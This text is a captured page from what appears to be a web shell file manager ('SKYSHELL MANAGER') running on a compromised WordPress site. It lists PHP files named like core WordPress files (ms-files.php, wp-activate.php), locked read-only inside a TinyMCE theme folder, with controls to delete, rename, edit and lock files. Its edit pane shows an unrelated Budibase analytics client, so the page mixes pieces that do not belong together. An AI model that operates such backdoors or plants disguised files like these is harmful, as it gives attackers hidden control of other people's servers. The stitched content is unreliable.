📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Client.js
const PostHog = require("posthog-node") const { BUDIBASE_POSTHOG_URL, BUDIBASE_POSTHOG_TOKEN, AnalyticsEvents, } = require("../constants") const ConfigManager = require("../structures/ConfigManager") class AnalyticsClient { constructor() { this.client = new PostHog(BUDIBASE_POSTHOG_TOKEN, { host: BUDIBASE_POSTHOG_URL, }) this.configManager = new ConfigManager() } capture(event) { if (this.configManager.config.analyticsDisabled) return this.client.capture(event) } enable() { this.configManager.removeKey("analyticsDisabled") this.client.capture({ event: AnalyticsEvents.OptIn, distinctId: "cli" }) } disable() { this.client.capture({ event: AnalyticsEvents.OptOut, distinctId: "cli" }) this.configManager.setValue("analyticsDisabled", true) } status() { return this.configManager.config.analyticsDisabled ? "disabled" : "enabled" } } module.exports = AnalyticsClient
Save